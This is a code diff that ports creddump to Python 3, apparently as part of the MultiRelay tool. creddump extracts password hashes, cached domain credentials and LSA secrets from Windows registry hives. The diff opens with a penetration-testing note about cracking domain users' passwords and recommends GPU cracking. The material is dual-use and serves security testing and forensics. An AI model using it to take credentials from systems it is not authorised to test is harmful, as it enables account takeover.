We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
####Below is the original README file
OVERVIEW
creddump is a python tool to extract various credentials and secrets from
Windows registry hives. It currently extracts:
* LM and NT hashes (SYSKEY protected)
* Cached domain passwords
* LSA secrets
It essentially performs all the functions that bkhive/samdump2,
cachedump, and lsadump2 do, but in a platform-independent way.
It is also the first tool that does all of these things in an offline
way (actually, Cain & Abel does, but is not open source and is only
available on Windows).
REQUIREMENTS
alldump has only been tested on python 2.5. It should work on 2.4 as
well, but will likely need modification before it will work on 2.3 or
below.
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
see: http://www.amk.ca/python/code/crypto
For lsadump: system and SECURITY hives
For cachedump: system and SECURITY hives
For pwdump: system and SAM hives
USAGE
Dump cached domain hashes:
usage: ./cachedump.py <system hive> <security hive>
Dump LSA secrets:
usage: ./lsadump.py <system hive> <security hive>
Dump local password hashes:
usage: ./pwdump.py <system hive> <SAM hive>
FEATURES
* Platform independent operation. The only inputs are the hive files
from the system--we don't rely on any Windows functionality at all.
* Open-source and (hopefully!) readble implementations of Windows
obfuscation algorithms used to protect LSA secrets, cached domain
passwords, and
* A reasonably forgiving registry file parser in pure Python. Look
through framework/types.py and framework/win32/rawreg.py to see how it
works.
* The first complete open-source implementation of advapi32's
SystemFunction005. The version in the Wine source code does not
appear to allow for keys longer than 7 bytes, while the Windows
version (and this version) does. See decrypt_secret() in
framework/win32/lsasecrets.py
AUTHOR
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
For more information on Syskey, LSA secrets, cached domain credentials,
and lots of information on volatile memory forensics and reverse
engineering, check out:
http://moyix.blogspot.com/
CREDITS
* AAron Walters. Much of the data type parsing code is taken from
Volatility, an excellent memory analysis framework written in Python.
He's also a really nice guy, and has helped me out a lot in my
research.
https://www.volatilesystems.com/default/volatility
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
to derive the LSA key so that it can be computed directly from the
hive files, as decribed in this post:
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
http://www.oxid.it/
* Jeremy Allison, for the details of the obfuscation applied to password
hashes in the SAM, as implemented in the original pwdump.
http://us4.samba.org/samba/ftp/pwdump/
* Nicola Cuomo, for his excellent description of the syskey mechanism
and how it is used to encrypt the SAM in Windows 2000 and above.
http://www.studenti.unina.it/~ncuomo/syskey/
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
read LSA secrets directly from the registry, given the LSA key.
http://www.xfocus.net/articles/200411/749.html
[Note: the above is in Chinese, but quite comprehensible if you use
Google Translate and can read C ;)]
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
which he apparently took from SSLEAY:
http://seclists.org/pen-test/2005/Jan/0180.html
* Arnaud Pilon, for the details of how to retrieve cached domain, as
implemented in cachedump.
http://www.securiteam.com/tools/5JP0I2KFPA.html
* S<>bastien Ke, for his cute hexdump recipe:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
LICENSE
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

23
tools/MultiRelay/creddump/cachedump.py Normal file → Executable file
View File

@@ -15,19 +15,34 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
import sys import sys
from framework.win32.domcachedump import dump_file_hashes from framework.win32.domcachedump import dump_file_hashes
if len(sys.argv) < 3:
print "usage: %s bootkey <security hive>" % sys.argv[0] def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
if len(sys.argv) < 4:
showUsage()
sys.exit(1) sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) if sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
vista = sys.argv[3].lower() == "true"
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])

View File

@@ -13,11 +13,11 @@
# This program is distributed in the hope that it will be useful, but # This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of # WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details. # General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software # along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# #
""" """
@@ -25,37 +25,40 @@
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: awalters@volatilesystems.com @contact: awalters@volatilesystems.com
@organization: Volatile Systems @organization: Volatile Systems
Alias for all address spaces
""" """
""" Alias for all address spaces """ # pylint: disable=missing-docstring
import os import os
import struct import struct
class FileAddressSpace: class FileAddressSpace:
def __init__(self, fname, mode='rb', fast=False): def __init__(self, fname, mode='rb', fast=False):
self.fname = fname self.fname = fname
self.name = fname self.name = fname
self.fhandle = open(fname, mode) self.fhandle = open(fname, mode)
self.fsize = os.path.getsize(fname) self.fsize = os.path.getsize(fname)
if fast == True: if fast:
self.fast_fhandle = open(fname, mode) self.fast_fhandle = open(fname, mode)
def fread(self,len): def fread(self, len):
return self.fast_fhandle.read(len) return self.fast_fhandle.read(len)
def read(self, addr, len): def read(self, addr, len):
self.fhandle.seek(addr) self.fhandle.seek(addr)
return self.fhandle.read(len) return self.fhandle.read(len)
def read_long(self, addr): def read_long(self, addr):
string = self.read(addr, 4) string = self.read(addr, 4)
(longval, ) = struct.unpack('L', string) (longval,) = struct.unpack('L', string)
return longval return longval
def get_address_range(self): def get_address_range(self):
return [0,self.fsize-1] return [0, self.fsize - 1]
def get_available_addresses(self): def get_available_addresses(self):
return [self.get_address_range()] return [self.get_address_range()]
@@ -63,13 +66,15 @@ class FileAddressSpace:
def is_valid_address(self, addr): def is_valid_address(self, addr):
return addr < self.fsize - 1 return addr < self.fsize - 1
def close(): def close(self):
self.fhandle.close() self.fhandle.close()
# Code below written by Brendan Dolan-Gavitt # Code below written by Brendan Dolan-Gavitt
BLOCK_SIZE = 0x1000 BLOCK_SIZE = 0x1000
class HiveFileAddressSpace: class HiveFileAddressSpace:
def __init__(self, fname): def __init__(self, fname):
self.fname = fname self.fname = fname
@@ -80,16 +85,16 @@ class HiveFileAddressSpace:
def read(self, vaddr, length, zero=False): def read(self, vaddr, length, zero=False):
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
left_over = (length + vaddr) % BLOCK_SIZE left_over = (length + vaddr) % BLOCK_SIZE
paddr = self.vtop(vaddr) paddr = self.vtop(vaddr)
if paddr == None and zero: if paddr is None and zero:
if length < first_block: if length < first_block:
return "\0" * length return "\0" * length
else: else:
stuff_read = "\0" * first_block stuff_read = "\0" * first_block
elif paddr == None: elif paddr is None:
return None return None
else: else:
if length < first_block: if length < first_block:
@@ -104,11 +109,11 @@ class HiveFileAddressSpace:
stuff_read = "\0" * first_block stuff_read = "\0" * first_block
new_vaddr = vaddr + first_block new_vaddr = vaddr + first_block
for i in range(0,full_blocks): for __ in range(0, full_blocks):
paddr = self.vtop(new_vaddr) paddr = self.vtop(new_vaddr)
if paddr == None and zero: if paddr is None and zero:
stuff_read = stuff_read + "\0" * BLOCK_SIZE stuff_read = stuff_read + "\0" * BLOCK_SIZE
elif paddr == None: elif paddr is None:
return None return None
else: else:
new_stuff = self.base.read(paddr, BLOCK_SIZE) new_stuff = self.base.read(paddr, BLOCK_SIZE)
@@ -122,9 +127,9 @@ class HiveFileAddressSpace:
if left_over > 0: if left_over > 0:
paddr = self.vtop(new_vaddr) paddr = self.vtop(new_vaddr)
if paddr == None and zero: if paddr is None and zero:
stuff_read = stuff_read + "\0" * left_over stuff_read = stuff_read + "\0" * left_over
elif paddr == None: elif paddr is None:
return None return None
else: else:
stuff_read = stuff_read + self.base.read(paddr, left_over) stuff_read = stuff_read + self.base.read(paddr, left_over)
@@ -132,10 +137,11 @@ class HiveFileAddressSpace:
def read_long_phys(self, addr): def read_long_phys(self, addr):
string = self.base.read(addr, 4) string = self.base.read(addr, 4)
(longval, ) = struct.unpack('L', string) (longval,) = struct.unpack('L', string)
return longval return longval
def is_valid_address(self, vaddr): def is_valid_address(self, vaddr):
paddr = self.vtop(vaddr) paddr = self.vtop(vaddr)
if not paddr: return False if not paddr:
return False
return self.base.is_valid_address(paddr) return self.base.is_valid_address(paddr)

View File

@@ -19,14 +19,18 @@
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.object import * # pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
from framework.types import regtypes as types
from operator import itemgetter from operator import itemgetter
from struct import unpack from struct import unpack
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
from framework.types import regtypes as types
def get_ptr_type(structure, member): def get_ptr_type(structure, member):
"""Return the type a pointer points to. """Return the type a pointer points to.
Arguments: Arguments:
structure : the name of the structure from vtypes structure : the name of the structure from vtypes
member : a list of members member : a list of members
@@ -43,24 +47,25 @@ def get_ptr_type(structure, member):
else: else:
return types[structure][1][member[0]][1][1] return types[structure][1][member[0]][1][1]
class Obj(object): class Obj(object):
"""Base class for all objects. """Base class for all objects.
May return a subclass for certain data types to allow May return a subclass for certain data types to allow
for special handling. for special handling.
""" """
def __new__(typ, name, address, space): def __new__(cls, name, address, space):
if name in globals(): if name in globals():
# This is a bit of "magic" # This is a bit of "magic"
# Could be replaced with a dict mapping type names to types # Could be replaced with a dict mapping type names to types
return globals()[name](name,address,space) return globals()[name](name, address, space)
elif name in builtin_types: elif name in builtin_types:
return Primitive(name, address, space) return Primitive(name, address, space)
else: else:
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space): def __init__(self, name, address, space):
self.name = name self.name = name
self.address = address self.address = address
@@ -70,7 +75,7 @@ class Obj(object):
# to show up in values() or members(), even if they do not # to show up in values() or members(), even if they do not
# appear in the vtype definition # appear in the vtype definition
self.extra_members = [] self.extra_members = []
def __getattribute__(self, attr): def __getattribute__(self, attr):
try: try:
return object.__getattribute__(self, attr) return object.__getattribute__(self, attr)
@@ -84,7 +89,7 @@ class Obj(object):
off, tp = get_obj_offset(types, [self.name, attr]) off, tp = get_obj_offset(types, [self.name, attr])
except: except:
raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
if tp == 'array': if tp == 'array':
a_len = types[self.name][1][attr][1][1] a_len = types[self.name][1][attr][1][1]
l = [] l = []
@@ -92,37 +97,37 @@ class Obj(object):
a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
if a_tp == 'pointer': if a_tp == 'pointer':
ptp = get_ptr_type(self.name, [attr, i]) ptp = get_ptr_type(self.name, [attr, i])
l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) l.append(Pointer(a_tp, self.address + a_off, self.space, ptp))
else: else:
l.append(Obj(a_tp, self.address+a_off, self.space)) l.append(Obj(a_tp, self.address + a_off, self.space))
return l return l
elif tp == 'pointer': elif tp == 'pointer':
# Can't just return a Obj here, since pointers need to also # Can't just return a Obj here, since pointers need to also
# know what type they point to. # know what type they point to.
ptp = get_ptr_type(self.name, [attr]) ptp = get_ptr_type(self.name, [attr])
return Pointer(tp, self.address+off, self.space, ptp) return Pointer(tp, self.address + off, self.space, ptp)
else: else:
return Obj(tp, self.address+off, self.space) return Obj(tp, self.address + off, self.space)
def __div__(self, other): def __truediv__(self, other):
if isinstance(other,tuple) or isinstance(other,list): if isinstance(other, (tuple, list)):
return Pointer(other[0], self.address, self.space, other[1]) return Pointer(other[0], self.address, self.space, other[1])
elif isinstance(other,str): elif isinstance(other, str):
return Obj(other, self.address, self.space) return Obj(other, self.address, self.space)
else: else:
raise ValueError("Must provide a type name as string for casting") raise ValueError("Must provide a type name as string for casting")
def members(self): def members(self):
"""Return a list of this object's members, sorted by offset.""" """Return a list of this object's members, sorted by offset."""
# Could also just return the list # Could also just return the list
membs = [ (k, v[0]) for k,v in types[self.name][1].items()] membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
membs.sort(key=itemgetter(1)) membs.sort(key=itemgetter(1))
return map(itemgetter(0),membs) + self.extra_members return list(map(itemgetter(0), membs)) + self.extra_members
def values(self): def values(self):
"""Return a dictionary of this object's members and their values""" """Return a dictionary of this object's members and their values"""
valdict = {} valdict = {}
for k in self.members(): for k in self.members():
valdict[k] = getattr(self, k) valdict[k] = getattr(self, k)
@@ -130,7 +135,7 @@ class Obj(object):
def bytes(self, length=-1): def bytes(self, length=-1):
"""Get bytes starting at the address of this object. """Get bytes starting at the address of this object.
Arguments: Arguments:
length : the number of bytes to read. Default: size of length : the number of bytes to read. Default: size of
this object. this object.
@@ -147,7 +152,7 @@ class Obj(object):
return builtin_types[self.name][0] return builtin_types[self.name][0]
else: else:
return types[self.name][0] return types[self.name][0]
def __repr__(self): def __repr__(self):
return "<%s @%08x>" % (self.name, self.address) return "<%s @%08x>" % (self.name, self.address)
@@ -168,67 +173,72 @@ class Obj(object):
def get_offset(self, member): def get_offset(self, member):
return get_obj_offset(types, [self.name] + member) return get_obj_offset(types, [self.name] + member)
class Primitive(Obj): class Primitive(Obj):
"""Class to represent a primitive data type. """Class to represent a primitive data type.
Attributes: Attributes:
value : the python primitive value of this type value : the python primitive value of this type
""" """
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space): def __init__(self, name, address, space):
super(Primitive,self).__init__(name, address, space) super(Primitive, self).__init__(name, address, space)
length, fmt = builtin_types[name] length, fmt = builtin_types[name]
data = space.read(address,length) data = space.read(address, length)
if not data: self.value = None if not data:
else: self.value = unpack(fmt,data)[0] self.value = None
else:
self.value = unpack(fmt, data)[0]
def __repr__(self): def __repr__(self):
return repr(self.value) return repr(self.value)
def members(self): def members(self):
return [] return []
class Pointer(Obj): class Pointer(Obj):
"""Class to represent pointers. """Class to represent pointers.
value : the object pointed to value : the object pointed to
If an attribute is not found in this instance, If an attribute is not found in this instance,
the attribute will be looked up in the referenced the attribute will be looked up in the referenced
object.""" object."""
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space, ptr_type): def __init__(self, name, address, space, ptr_type):
super(Pointer,self).__init__(name, address, space) super(Pointer, self).__init__(name, address, space)
ptr_address = read_value(space, name, address) ptr_address = read_value(space, name, address)
if ptr_type[0] == 'pointer': if ptr_type[0] == 'pointer':
self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
else: else:
self.value = Obj(ptr_type[0], ptr_address, self.space) self.value = Obj(ptr_type[0], ptr_address, self.space)
def __getattribute__(self, attr): def __getattribute__(self, attr):
# It's still nice to be able to access things through pointers # It's still nice to be able to access things through pointers
# without having to explicitly dereference them, so if we don't # without having to explicitly dereference them, so if we don't
# find an attribute via our superclass, just dereference the pointer # find an attribute via our superclass, just dereference the pointer
# and return the attribute in the pointed-to type. # and return the attribute in the pointed-to type.
try: try:
return super(Pointer,self).__getattribute__(attr) return super(Pointer, self).__getattribute__(attr)
except AttributeError: except AttributeError:
return getattr(self.value, attr) return getattr(self.value, attr)
def __repr__(self): def __repr__(self):
return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address) return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
def members(self): def members(self):
return self.value.members() return self.value.members()
class _UNICODE_STRING(Obj): class _UNICODE_STRING(Obj):
"""Class representing a _UNICODE_STRING """Class representing a _UNICODE_STRING
@@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj):
* The __str__ method returns the value of the Buffer. * The __str__ method returns the value of the Buffer.
""" """
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __str__(self): def __str__(self):
@@ -248,54 +258,63 @@ class _UNICODE_STRING(Obj):
# Custom Attributes # Custom Attributes
def getBuffer(self): def getBuffer(self):
return read_unicode_string(self.space, types, [], self.address) return read_unicode_string(self.space, types, [], self.address)
Buffer = property(fget=getBuffer) Buffer = property(fget=getBuffer)
class _CM_KEY_NODE(Obj): class _CM_KEY_NODE(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getName(self): def getName(self):
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
self.address, self.NameLength.value) self.address, self.NameLength.value)
Name = property(fget=getName) Name = property(fget=getName)
class _CM_KEY_VALUE(Obj): class _CM_KEY_VALUE(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getName(self): def getName(self):
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
self.address, self.NameLength.value) self.address, self.NameLength.value)
Name = property(fget=getName) Name = property(fget=getName)
class _CHILD_LIST(Obj): class _CHILD_LIST(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getList(self): def getList(self):
lst = [] lst = []
list_address = read_obj(self.space, types, list_address = read_obj(self.space, types,
['_CHILD_LIST', 'List'], self.address) ['_CHILD_LIST', 'List'], self.address)
for i in range(self.Count.value): for i in range(self.Count.value):
lst.append(Pointer("pointer", list_address+(i*4), self.space, lst.append(Pointer("pointer", list_address + (i * 4), self.space,
["_CM_KEY_VALUE"])) ["_CM_KEY_VALUE"]))
return lst return lst
List = property(fget=getList) List = property(fget=getList)
class _CM_KEY_INDEX(Obj): class _CM_KEY_INDEX(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getList(self): def getList(self):
lst = [] lst = []
for i in range(self.Count.value): for i in range(self.Count.value):
# we are ignoring the hash value here # we are ignoring the hash value here
off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
lst.append(Pointer("pointer", self.address+off, self.space, lst.append(Pointer("pointer", self.address + off, self.space,
["_CM_KEY_NODE"])) ["_CM_KEY_NODE"]))
return lst return lst
List = property(fget=getList) List = property(fget=getList)

View File

@@ -9,13 +9,15 @@
# This program is distributed in the hope that it will be useful, but # This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of # WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details. # General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software # along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# #
# pylint: disable=invalid-name,missing-docstring
""" """
@author: AAron Walters and Nick Petroni @author: AAron Walters and Nick Petroni
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@@ -25,59 +27,61 @@
import struct import struct
builtin_types = { \ builtin_types = {
'int' : (4, 'i'), \ 'int': (4, 'i'),
'long': (4, 'i'), \ 'long': (4, 'i'),
'unsigned long' : (4, 'I'), \ 'unsigned long': (4, 'I'),
'unsigned int' : (4, 'I'), \ 'unsigned int': (4, 'I'),
'address' : (4, 'I'), \ 'address': (4, 'I'),
'char' : (1, 'c'), \ 'char': (1, 'c'),
'unsigned char' : (1, 'B'), \ 'unsigned char': (1, 'B'),
'unsigned short' : (2, 'H'), \ 'unsigned short': (2, 'H'),
'short' : (2, 'h'), \ 'short': (2, 'h'),
'long long' : (8, 'q'), \ 'long long': (8, 'q'),
'unsigned long long' : (8, 'Q'), \ 'unsigned long long': (8, 'Q'),
'pointer' : (4, 'I'),\ 'pointer': (4, 'I'),
} }
def obj_size(types, objname): def obj_size(types, objname):
if not types.has_key(objname): if objname not in types:
raise Exception('Invalid type %s not in types' % (objname)) raise Exception('Invalid type %s not in types' % (objname))
return types[objname][0] return types[objname][0]
def builtin_size(builtin): def builtin_size(builtin):
if not builtin_types.has_key(builtin): if builtin not in builtin_types:
raise Exception('Invalid built-in type %s' % (builtin)) raise Exception('Invalid built-in type %s' % (builtin))
return builtin_types[builtin][0] return builtin_types[builtin][0]
def read_value(addr_space, value_type, vaddr): def read_value(addr_space, value_type, vaddr):
""" """
Read the low-level value for a built-in type. Read the low-level value for a built-in type.
""" """
if not builtin_types.has_key(value_type): if value_type not in builtin_types:
raise Exception('Invalid built-in type %s' % (value_type)) raise Exception('Invalid built-in type %s' % (value_type))
type_unpack_char = builtin_types[value_type][1] type_unpack_char = builtin_types[value_type][1]
type_size = builtin_types[value_type][0] type_size = builtin_types[value_type][0]
buf = addr_space.read(vaddr, type_size) buf = addr_space.read(vaddr, type_size)
if buf is None: if buf is None:
return None return None
(val, ) = struct.unpack(type_unpack_char, buf) (val,) = struct.unpack(type_unpack_char, buf)
return val return val
def read_unicode_string(addr_space, types, member_list, vaddr): def read_unicode_string(addr_space, types, member_list, vaddr):
offset = 0 offset = 0
if len(member_list) > 1: if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list) (offset, __) = get_obj_offset(types, member_list)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
if length == 0x0: if length == 0x0:
@@ -90,23 +94,24 @@ def read_unicode_string(addr_space, types, member_list, vaddr):
if readBuf is None: if readBuf is None:
return None return None
try: try:
readBuf = readBuf.decode('UTF-16').encode('ascii') readBuf = readBuf.decode('UTF-16').encode('ascii')
except: except Exception: # pylint: disable=broad-except
return None return None
return readBuf return readBuf
def read_string(addr_space, types, member_list, vaddr, max_length=256): def read_string(addr_space, types, member_list, vaddr, max_length=256):
offset = 0 offset = 0
if len(member_list) > 1: if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list) (offset, __) = get_obj_offset(types, member_list)
val = addr_space.read(vaddr + offset, max_length) val = addr_space.read(vaddr + offset, max_length)
return val return val
def read_null_string(addr_space, types, member_list, vaddr, max_length=256): def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
string = read_string(addr_space, types, member_list, vaddr, max_length) string = read_string(addr_space, types, member_list, vaddr, max_length)
@@ -114,11 +119,8 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
if string is None: if string is None:
return None return None
if (string.find('\0') == -1): return string.split('\0', 1)[0]
return string
(string, none) = string.split('\0', 1)
return string
def get_obj_offset(types, member_list): def get_obj_offset(types, member_list):
""" """
@@ -130,7 +132,7 @@ def get_obj_offset(types, member_list):
offset = 0 offset = 0
while (len(member_list) > 0): while member_list:
if current_type == 'array': if current_type == 'array':
current_type = member_dict[current_member][1][2][0] current_type = member_dict[current_member][1][2][0]
if current_type in builtin_types: if current_type in builtin_types:
@@ -140,14 +142,14 @@ def get_obj_offset(types, member_list):
index = member_list.pop() index = member_list.pop()
offset += index * current_type_size offset += index * current_type_size
continue continue
elif not types.has_key(current_type): elif current_type not in types:
raise Exception('Invalid type ' + current_type) raise Exception('Invalid type ' + current_type)
member_dict = types[current_type][1] member_dict = types[current_type][1]
current_member = member_list.pop() current_member = member_list.pop()
if not member_dict.has_key(current_member): if current_member not in member_dict:
raise Exception('Invalid member %s in type %s' % (current_member, current_type)) raise Exception('Invalid member %s in type %s' % (current_member, current_type))
offset += member_dict[current_member][0] offset += member_dict[current_member][0]
@@ -164,8 +166,6 @@ def read_obj(addr_space, types, member_list, vaddr):
""" """
if len(member_list) < 2: if len(member_list) < 2:
raise Exception('Invalid type/member ' + str(member_list)) raise Exception('Invalid type/member ' + str(member_list))
(offset, current_type) = get_obj_offset(types, member_list) (offset, current_type) = get_obj_offset(types, member_list)
return read_value(addr_space, current_type, vaddr + offset) return read_value(addr_space, current_type, vaddr + offset)

View File

@@ -13,6 +13,8 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@@ -20,44 +22,44 @@
""" """
regtypes = { regtypes = {
'_CM_KEY_VALUE' : [ 0x18, { '_CM_KEY_VALUE': [0x18, {
'Signature' : [ 0x0, ['unsigned short']], 'Signature': [0x0, ['unsigned short']],
'NameLength' : [ 0x2, ['unsigned short']], 'NameLength': [0x2, ['unsigned short']],
'DataLength' : [ 0x4, ['unsigned long']], 'DataLength': [0x4, ['unsigned long']],
'Data' : [ 0x8, ['unsigned long']], 'Data': [0x8, ['unsigned long']],
'Type' : [ 0xc, ['unsigned long']], 'Type': [0xc, ['unsigned long']],
'Flags' : [ 0x10, ['unsigned short']], 'Flags': [0x10, ['unsigned short']],
'Spare' : [ 0x12, ['unsigned short']], 'Spare': [0x12, ['unsigned short']],
'Name' : [ 0x14, ['array', 1, ['unsigned short']]], 'Name': [0x14, ['array', 1, ['unsigned short']]],
} ], }],
'_CM_KEY_NODE' : [ 0x50, { '_CM_KEY_NODE': [0x50, {
'Signature' : [ 0x0, ['unsigned short']], 'Signature': [0x0, ['unsigned short']],
'Flags' : [ 0x2, ['unsigned short']], 'Flags': [0x2, ['unsigned short']],
'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], 'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
'Spare' : [ 0xc, ['unsigned long']], 'Spare': [0xc, ['unsigned long']],
'Parent' : [ 0x10, ['unsigned long']], 'Parent': [0x10, ['unsigned long']],
'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
'ValueList' : [ 0x24, ['_CHILD_LIST']], 'ValueList': [0x24, ['_CHILD_LIST']],
'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
'Security' : [ 0x2c, ['unsigned long']], 'Security': [0x2c, ['unsigned long']],
'Class' : [ 0x30, ['unsigned long']], 'Class': [0x30, ['unsigned long']],
'MaxNameLen' : [ 0x34, ['unsigned long']], 'MaxNameLen': [0x34, ['unsigned long']],
'MaxClassLen' : [ 0x38, ['unsigned long']], 'MaxClassLen': [0x38, ['unsigned long']],
'MaxValueNameLen' : [ 0x3c, ['unsigned long']], 'MaxValueNameLen': [0x3c, ['unsigned long']],
'MaxValueDataLen' : [ 0x40, ['unsigned long']], 'MaxValueDataLen': [0x40, ['unsigned long']],
'WorkVar' : [ 0x44, ['unsigned long']], 'WorkVar': [0x44, ['unsigned long']],
'NameLength' : [ 0x48, ['unsigned short']], 'NameLength': [0x48, ['unsigned short']],
'ClassLength' : [ 0x4a, ['unsigned short']], 'ClassLength': [0x4a, ['unsigned short']],
'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], 'Name': [0x4c, ['array', 1, ['unsigned short']]],
} ], }],
'_CM_KEY_INDEX' : [ 0x8, { '_CM_KEY_INDEX': [0x8, {
'Signature' : [ 0x0, ['unsigned short']], 'Signature': [0x0, ['unsigned short']],
'Count' : [ 0x2, ['unsigned short']], 'Count': [0x2, ['unsigned short']],
